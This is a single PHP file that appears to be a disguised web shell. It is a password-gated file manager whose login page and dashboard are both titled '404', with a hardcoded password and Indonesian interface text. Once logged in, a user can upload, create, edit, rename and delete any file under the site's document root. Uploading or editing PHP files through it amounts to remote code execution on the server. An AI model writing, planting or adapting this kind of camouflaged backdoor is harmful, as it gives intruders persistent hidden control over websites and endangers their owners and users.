<?php
session_start();

// ========== CONFIGURATION ==========
define('PASSWORD', 'KBK123@@'); // Ganti dengan password kamu
define('ROOT_DIR', realpath($_SERVER['DOCUMENT_ROOT'])); // Root directory (folder utama domain)
// ===================================

// ========== AUTHENTICATION ==========
function isAuthenticated() {
    return isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true;
}

function login($password) {
    if ($password === PASSWORD) {
        $_SESSION['logged_in'] = true;
        return true;
    }
    return false;
}

function logout() {
    session_destroy();
    header('Location: ?');
    exit;
}

// Handle login/logout
if (isset($_GET['logout'])) {
    logout();
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['login'])) {
    if (login($_POST['password'])) {
        header('Location: ?');
        exit;
    } else {
        $error = 'Password salah!';
    }
}

// ========== PATH HANDLING ==========
function getCurrentPath() {
    $path = isset($_GET['path']) ? $_GET['path'] : '';
    // Sanitize path - prevent directory traversal
    $path = str_replace(['..', '\\'], '', $path);
    $path = ltrim($path, '/');
    $fullPath = realpath(ROOT_DIR . '/' . $path);

    // Ensure we don't go above root
    if ($fullPath === false || strpos($fullPath, ROOT_DIR) !== 0) {
        return ROOT_DIR;
    }
    return $fullPath;
}

function getRelativePath($fullPath) {
    $rel = substr($fullPath, strlen(ROOT_DIR));
    return ltrim(str_replace('\\', '/', $rel), '/');
}

// ========== FILE OPERATIONS ==========
$currentPath = getCurrentPath();
$message = '';
$messageType = '';

// Handle file upload
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    if (isAuthenticated()) {
        $targetFile = $currentPath . '/' . basename($_FILES['file']['name']);
        if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) {
            $message = 'File berhasil diupload!';
            $messageType = 'success';
        } else {
            $message = 'Gagal upload file!';
            $messageType = 'error';
        }
    }
}

// Handle create file
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['create_file'])) {
    if (isAuthenticated()) {
        $fileName = basename($_POST['file_name']);
        if (!empty($fileName)) {
            $newFile = $currentPath . '/' . $fileName;
            if (!file_exists($newFile)) {
                file_put_contents($newFile, '');
                $message = 'File berhasil dibuat!';
                $messageType = 'success';
            } else {
                $message = 'File sudah ada!';
                $messageType = 'error';
            }
        }
    }
}

// Handle create folder
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['create_folder'])) {
    if (isAuthenticated()) {
        $folderName = basename($_POST['folder_name']);
        if (!empty($folderName)) {
            $newFolder = $currentPath . '/' . $folderName;
            if (!file_exists($newFolder)) {
                mkdir($newFolder, 0777, true);
                $message = 'Folder berhasil dibuat!';
                $messageType = 'success';
            } else {
                $message = 'Folder sudah ada!';
                $messageType = 'error';
            }
        }
    }
}

// Handle delete
if (isset($_GET['delete'])) {
    if (isAuthenticated()) {
        $target = realpath($currentPath . '/' . basename($_GET['delete']));
        if ($target !== false && strpos($target, ROOT_DIR) === 0) {
            if (is_file($target)) {
                unlink($target);
                $message = 'File berhasil dihapus!';
            } elseif (is_dir($target)) {
                // Simple recursive delete for directory
                function deleteDir($dir) {
                    $files = array_diff(scandir($dir), ['.', '..']);
                    foreach ($files as $file) {
                        $path = $dir . '/' . $file;
                        is_dir($path) ? deleteDir($path) : unlink($path);
                    }
                    return rmdir($dir);
                }
                deleteDir($target);
                $message = 'Folder berhasil dihapus!';
            }
            $messageType = 'success';
        }
    }
}

// Handle edit (save file content)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['save_file'])) {
    if (isAuthenticated()) {
        $editFile = basename($_POST['edit_file']);
        $editPath = realpath($currentPath . '/' . $editFile);
        if ($editPath !== false && strpos($editPath, ROOT_DIR) === 0 && is_file($editPath)) {
            file_put_contents($editPath, $_POST['file_content']);
            $message = 'File berhasil disimpan!';
            $messageType = 'success';
        } else {
            $message = 'Gagal menyimpan file!';
            $messageType = 'error';
        }
    }
}

// Handle AJAX get file content
if (isset($_GET['ajax_get_file'])) {
    if (isAuthenticated()) {
        $file = basename($_GET['ajax_get_file']);
        $filePath = realpath($currentPath . '/' . $file);
        if ($filePath !== false && strpos($filePath, ROOT_DIR) === 0 && is_file($filePath)) {
            header('Content-Type: text/plain; charset=utf-8');
            echo file_get_contents($filePath);
            exit;
        }
    }
    http_response_code(403);
    exit;
}

// Handle rename
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['rename'])) {
    if (isAuthenticated()) {
        $oldName = basename($_POST['old_name']);
        $newName = basename($_POST['new_name']);
        $oldPath = $currentPath . '/' . $oldName;
        $newPath = $currentPath . '/' . $newName;
        if (!empty($newName) && file_exists($oldPath) && !file_exists($newPath)) {
            rename($oldPath, $newPath);
            $message = 'Berhasil di rename!';
            $messageType = 'success';
        } else {
            $message = 'Gagal rename!';
            $messageType = 'error';
        }
    }
}

// ========== DISPLAY ==========
if (!isAuthenticated()):
?>
<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>404</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
        }
        .login-container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 40px rgba(0,0,0,0.2);
            width: 350px;
        }
        .login-container h1 {
            text-align: center;
            margin-bottom: 30px;
            color: #333;
        }
        .login-container input[type="password"] {
            width: 100%;
            padding: 12px;
            margin-bottom: 20px;
            border: 2px solid #ddd;
            border-radius: 5px;
            font-size: 16px;
        }
        .login-container input[type="password"]:focus {
            border-color: #667eea;
            outline: none;
        }
        .login-container button {
            width: 100%;
            padding: 12px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            cursor: pointer;
            transition: opacity 0.3s;
        }
        .login-container button:hover { opacity: 0.9; }
        .error { color: #e74c3c; text-align: center; margin-bottom: 15px; }
    </style>
</head>
<body>
    <div class="login-container">
        <h1>🔒 404</h1>
        <?php if (isset($error)): ?>
            <div class="error"><?= htmlspecialchars($error) ?></div>
        <?php endif; ?>
        <form method="post">
            <input type="password" name="password" placeholder="Masukkan password" required autofocus>
            <button type="submit" name="login">Masuk</button>
        </form>
    </div>
</body>
</html>
<?php else: ?>
<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>PHP 404</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: #f0f2f5;
            min-height: 100vh;
        }
        .container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 20px;
        }
        .navbar {
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: white;
            padding: 15px 0;
        }
        .navbar .container {
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        .navbar h1 { font-size: 22px; }
        .navbar a {
            color: white;
            text-decoration: none;
            padding: 8px 16px;
            border-radius: 5px;
            background: rgba(255,255,255,0.2);
            transition: background 0.3s;
        }
        .navbar a:hover { background: rgba(255,255,255,0.3); }
        .breadcrumb {
            background: white;
            padding: 12px 20px;
            border-radius: 8px;
            margin: 20px 0;
            box-shadow: 0 2px 4px rgba(0,0,0,0.1);
            font-size: 14px;
            display: flex;
            flex-wrap: wrap;
            align-items: center;
            gap: 4px;
        }
        .breadcrumb a {
            color: #667eea;
            text-decoration: none;
            padding: 2px 4px;
            border-radius: 3px;
        }
        .breadcrumb a:hover {
            background: #eef0ff;
            text-decoration: underline;
        }
        .breadcrumb span.sep {
            color: #999;
            margin: 0 2px;
        }
        .breadcrumb .part {
            display: inline-flex;
            align-items: center;
        }
        .message {
            padding: 12px 20px;
            border-radius: 8px;
            margin-bottom: 20px;
        }
        .message.success { background: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
        .message.error { background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
        .actions {
            display: flex;
            gap: 10px;
            margin-bottom: 20px;
            flex-wrap: wrap;
            align-items: center;
        }
        .actions form { display: inline-flex; align-items: center; gap: 10px; }
        .btn {
            padding: 10px 20px;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            font-size: 14px;
            transition: opacity 0.3s;
            display: inline-flex;
            align-items: center;
            gap: 6px;
        }
        .btn:hover { opacity: 0.9; }
        .btn-primary { background: #667eea; color: white; }
        .btn-success { background: #28a745; color: white; }
        .btn-danger { background: #dc3545; color: white; }
        .btn-warning { background: #ffc107; color: #333; }
        .btn-secondary { background: #6c757d; color: white; }
        .btn-info { background: #17a2b8; color: white; }
        .btn-sm { padding: 6px 12px; font-size: 13px; }
        input[type="text"], input[type="file"] {
            padding: 10px 12px;
            border: 2px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
        }
        input[type="text"]:focus { border-color: #667eea; outline: none; }
        .file-table {
            width: 100%;
            border-collapse: collapse;
            background: white;
            border-radius: 8px;
            overflow: hidden;
            box-shadow: 0 2px 4px rgba(0,0,0,0.1);
        }
        .file-table th {
            background: #f8f9fa;
            padding: 12px 15px;
            text-align: left;
            font-weight: 600;
            color: #555;
            border-bottom: 2px solid #eee;
            font-size: 14px;
        }
        .file-table td {
            padding: 10px 15px;
            border-bottom: 1px solid #eee;
            vertical-align: middle;
        }
        .file-table tr:hover td {
            background: #f5f7ff;
        }
        .file-table tr:last-child td {
            border-bottom: none;
        }
        .file-icon { font-size: 20px; margin-right: 10px; }
        .file-name {
            font-weight: 600;
            color: #333;
            text-decoration: none;
        }
        .file-name:hover { color: #667eea; }
        .file-size {
            color: #999;
            font-size: 13px;
        }
        .file-actions {
            white-space: nowrap;
        }
        .file-actions .btn { padding: 5px 10px; font-size: 12px; }
        .editor-container {
            display: none;
            background: white;
            border-radius: 8px;
            box-shadow: 0 2px 4px rgba(0,0,0,0.1);
            margin-bottom: 20px;
            overflow: hidden;
        }
        .editor-container.active { display: block; }
        .editor-header {
            background: #f8f9fa;
            padding: 12px 20px;
            border-bottom: 2px solid #eee;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        .editor-header h3 { font-size: 16px; color: #333; }
        .editor-body textarea {
            width: 100%;
            min-height: 500px;
            padding: 15px;
            border: none;
            font-family: 'Consolas', 'Courier New', monospace;
            font-size: 14px;
            line-height: 1.5;
            resize: vertical;
            tab-size: 4;
        }
        .editor-body textarea:focus { outline: none; }
        .editor-footer {
            background: #f8f9fa;
            padding: 12px 20px;
            border-top: 2px solid #eee;
            display: flex;
            gap: 10px;
            justify-content: flex-end;
        }
        .modal-overlay {
            display: none;
            position: fixed;
            top: 0; left: 0; right: 0; bottom: 0;
            background: rgba(0,0,0,0.5);
            align-items: center;
            justify-content: center;
            z-index: 1000;
        }
        .modal-overlay.active { display: flex; }
        .modal {
            background: white;
            padding: 30px;
            border-radius: 10px;
            width: 400px;
            max-width: 90%;
            box-shadow: 0 10px 40px rgba(0,0,0,0.3);
        }
        .modal h3 { margin-bottom: 15px; }
        .modal input[type="text"] { width: 100%; margin-bottom: 15px; }
        .modal-actions { display: flex; gap: 10px; justify-content: flex-end; }
        .empty-state {
            text-align: center;
            padding: 60px 20px;
            color: #999;
            grid-column: 1 / -1;
        }
        .empty-state p { font-size: 18px; }
        .empty-state .sub { font-size: 14px; margin-top: 8px; }
        @media (max-width: 600px) {
            .file-grid { grid-template-columns: 1fr; }
            .actions { flex-direction: column; }
            .actions form { width: 100%; }
            .actions input, .actions .btn { width: 100%; }
        }
    </style>
</head>
<body>
    <div class="navbar">
        <div class="container">
            <h1>📁 404</h1>
            <a href="?logout=1"><i class="fas fa-sign-out-alt"></i> Logout</a>
        </div>
    </div>

    <div class="container">
        <!-- Breadcrumb - Full Path Clickable -->
        <div class="breadcrumb">
            <?php
            $rootNormalized = rtrim(str_replace('\\', '/', ROOT_DIR), '/');
            $fullNormalized = rtrim(str_replace('\\', '/', $currentPath), '/');

            // Root folder name (the last segment of ROOT_DIR, e.g. "htdocs")
            $rootName = basename($rootNormalized);

            // If we're at root, just show root as clickable
            if ($fullNormalized === $rootNormalized) {
                echo '<a href="?"><strong>📁 ' . htmlspecialchars($rootName) . '</strong></a>';
            } else {
                // Always show root as clickable first
                echo '<a href="?"><strong>📁 ' . htmlspecialchars($rootName) . '</strong></a>';

                // Get relative path and split
                $relPath = substr($fullNormalized, strlen($rootNormalized) + 1);
                $parts = explode('/', $relPath);
                $cumulative = '';

                foreach ($parts as $part) {
                    if (empty($part)) continue;
                    $cumulative .= ($cumulative ? '/' : '') . $part;
                    echo '<span class="sep">›</span>';
                    $isLast = ($part === end($parts));
                    if ($isLast) {
                        echo '<span class="part"><strong>' . htmlspecialchars($part) . '</strong></span>';
                    } else {
                        echo '<a href="?path=' . urlencode($cumulative) . '" class="part">' . htmlspecialchars($part) . '</a>';
                    }
                }
            }
            ?>
        </div>

        <!-- Messages -->
        <?php if ($message): ?>
            <div class="message <?= $messageType ?>"><?= htmlspecialchars($message) ?></div>
        <?php endif; ?>

        <!-- Actions -->
        <div class="actions">
            <form method="post" enctype="multipart/form-data">
                <input type="file" name="file" id="fileInput" required>
                <label for="fileInput" class="btn btn-success"><i class="fas fa-upload"></i> Upload</label>
                <button type="submit" class="btn btn-success" style="display:none;">Upload</button>
            </form>
            <form method="post">
                <input type="text" name="file_name" placeholder="nama.file" required>
                <button type="submit" name="create_file" class="btn btn-info"><i class="fas fa-file"></i> Buat File</button>
            </form>
            <form method="post">
                <input type="text" name="folder_name" placeholder="Nama folder baru" required>
                <button type="submit" name="create_folder" class="btn btn-primary"><i class="fas fa-folder-plus"></i> Buat Folder</button>
            </form>
        </div>

        <!-- File Table -->
        <?php
        $items = array_diff(scandir($currentPath), ['.', '..']);
        $dirs = [];
        $files = [];
        foreach ($items as $item) {
            $itemPath = $currentPath . '/' . $item;
            if (is_dir($itemPath)) {
                $dirs[] = $item;
            } else {
                $files[] = $item;
            }
        }
        sort($dirs);
        sort($files);
        $items = array_merge($dirs, $files);

        if (empty($items)):
        ?>
            <div class="empty-state">
                <p>📂 Folder kosong</p>
                <p class="sub">Upload file atau buat folder baru</p>
            </div>
        <?php else: ?>
            <table class="file-table">
                <thead>
                    <tr>
                        <th style="width:40%">Nama</th>
                        <th style="width:15%">Tipe</th>
                        <th style="width:15%">Ukuran</th>
                        <th style="width:30%">Aksi</th>
                    </tr>
                </thead>
                <tbody>
                <?php foreach ($items as $item):
                    $itemPath = $currentPath . '/' . $item;
                    $isDir = is_dir($itemPath);
                    $size = $isDir ? '-' : formatSize(filesize($itemPath));
                    $icon = $isDir ? '📁' : getFileIcon($item);
                    $type = $isDir ? 'Folder' : strtoupper(pathinfo($item, PATHINFO_EXTENSION)) . ' File';
                    $relItemPath = getRelativePath($itemPath);
                ?>
                    <tr>
                        <td>
                            <span class="file-icon"><?= $icon ?></span>
                            <?php if ($isDir): ?>
                                <a href="?path=<?= urlencode($relItemPath) ?>" class="file-name"><?= htmlspecialchars($item) ?></a>
                            <?php else: ?>
                                <span class="file-name"><?= htmlspecialchars($item) ?></span>
                            <?php endif; ?>
                        </td>
                        <td><span class="file-size"><?= $type ?></span></td>
                        <td><span class="file-size"><?= $size ?></span></td>
                        <td class="file-actions">
                            <?php if (!$isDir): ?>
                                <a href="?path=<?= urlencode(getRelativePath($currentPath)) ?>&download=<?= urlencode($item) ?>" class="btn btn-primary btn-sm" title="Download"><i class="fas fa-download"></i></a>
                                <?php
                                $editableExts = ['txt','php','html','htm','css','js','json','xml','md','sql','py','rb','pl','sh','bat','ini','cfg','yml','yaml','env','gitignore','htaccess','svg','ts','vue','jsx','tsx','sass','scss','less','c','cpp','h','hpp','java','kt','swift','go','rs','lua','r','dart','m','mm'];
                                $ext = strtolower(pathinfo($item, PATHINFO_EXTENSION));
                                if (in_array($ext, $editableExts)):
                                ?>
                                <button class="btn btn-info btn-sm" onclick="openEditor('<?= htmlspecialchars($item) ?>')" title="Edit"><i class="fas fa-edit"></i></button>
                                <?php endif; ?>
                            <?php endif; ?>
                            <button class="btn btn-warning btn-sm" onclick="openRename('<?= htmlspecialchars($item) ?>')" title="Rename"><i class="fas fa-pen"></i></button>
                            <a href="?path=<?= urlencode(getRelativePath($currentPath)) ?>&delete=<?= urlencode($item) ?>" class="btn btn-danger btn-sm" onclick="return confirm('Hapus <?= $isDir ? 'folder' : 'file' ?> <?= htmlspecialchars($item) ?>?')" title="Hapus"><i class="fas fa-trash"></i></a>
                        </td>
                    </tr>
                <?php endforeach; ?>
                </tbody>
            </table>
        <?php endif; ?>
        <!-- End File Table -->

        <!-- Editor -->
        <div class="editor-container" id="editorContainer">
            <div class="editor-header">
                <h3><i class="fas fa-edit"></i> Edit: <span id="editorFileName"></span></h3>
            </div>
            <form method="post" id="editorForm">
                <input type="hidden" name="edit_file" id="editorFileInput">
                <div class="editor-body">
                    <textarea name="file_content" id="editorContent" spellcheck="false"></textarea>
                </div>
                <div class="editor-footer">
                    <button type="button" class="btn btn-secondary" onclick="closeEditor()">Batal</button>
                    <button type="submit" name="save_file" class="btn btn-success"><i class="fas fa-save"></i> Simpan</button>
                </div>
            </form>
        </div>
        <!-- End Editor -->
    </div>

    <!-- Rename Modal -->
    <div class="modal-overlay" id="renameModal">
        <div class="modal">
            <h3><i class="fas fa-pen"></i> Rename</h3>
            <form method="post">
                <input type="hidden" name="old_name" id="oldName">
                <input type="text" name="new_name" id="newName" placeholder="Nama baru" required>
                <div class="modal-actions">
                    <button type="button" class="btn btn-secondary" onclick="closeRename()">Batal</button>
                    <button type="submit" name="rename" class="btn btn-primary">Simpan</button>
                </div>
            </form>
        </div>
    </div>

    <script>
        function openRename(name) {
            document.getElementById('oldName').value = name;
            document.getElementById('newName').value = name;
            document.getElementById('renameModal').classList.add('active');
        }
        function closeRename() {
            document.getElementById('renameModal').classList.remove('active');
        }
        document.getElementById('renameModal').addEventListener('click', function(e) {
            if (e.target === this) closeRename();
        });

        function openEditor(filename) {
            document.getElementById('editorFileName').textContent = filename;
            document.getElementById('editorFileInput').value = filename;
            document.getElementById('editorContent').value = 'Loading...';
            document.getElementById('editorContainer').classList.add('active');
            // Scroll to editor
            document.getElementById('editorContainer').scrollIntoView({ behavior: 'smooth', block: 'start' });
            // AJAX fetch file content
            var xhr = new XMLHttpRequest();
            xhr.open('GET', '?path=<?= urlencode(getRelativePath($currentPath)) ?>&ajax_get_file=' + encodeURIComponent(filename), true);
            xhr.onload = function() {
                if (xhr.status === 200) {
                    document.getElementById('editorContent').value = xhr.responseText;
                } else {
                    document.getElementById('editorContent').value = 'Error loading file!';
                }
            };
            xhr.onerror = function() {
                document.getElementById('editorContent').value = 'Network error!';
            };
            xhr.send();
        }

        function closeEditor() {
            document.getElementById('editorContainer').classList.remove('active');
            document.getElementById('editorContent').value = '';
        }
    </script>
</body>
</html>
<?php endif; ?>
<?php
// ========== HELPER FUNCTIONS ==========
function formatSize($bytes) {
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $i = 0;
    while ($bytes >= 1024 && $i < count($units) - 1) {
        $bytes /= 1024;
        $i++;
    }
    return round($bytes, 1) . ' ' . $units[$i];
}

function getFileIcon($filename) {
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    $icons = [
        'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '🟨',
        'json' => '📋', 'xml' => '📋', 'txt' => '📄', 'md' => '📝',
        'jpg' => '🖼', 'jpeg' => '🖼', 'png' => '🖼', 'gif' => '🖼',
        'svg' => '🖼', 'webp' => '🖼', 'ico' => '🖼',
        'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'mov' => '🎬',
        'mp3' => '🎵', 'wav' => '🎵', 'ogg' => '🎵',
        'zip' => '📦', 'rar' => '📦', '7z' => '📦', 'tar' => '📦', 'gz' => '📦',
        'pdf' => '📕', 'doc' => '📘', 'docx' => '📘', 'xls' => '📊', 'xlsx' => '📊',
        'exe' => '⚙', 'msi' => '⚙', 'dll' => '⚙',
        'sql' => '🗃', 'db' => '🗃',
        'py' => '🐍', 'java' => '☕', 'cpp' => '⚡', 'c' => '⚡',
    ];
    return $icons[$ext] ?? '📄';
}
?>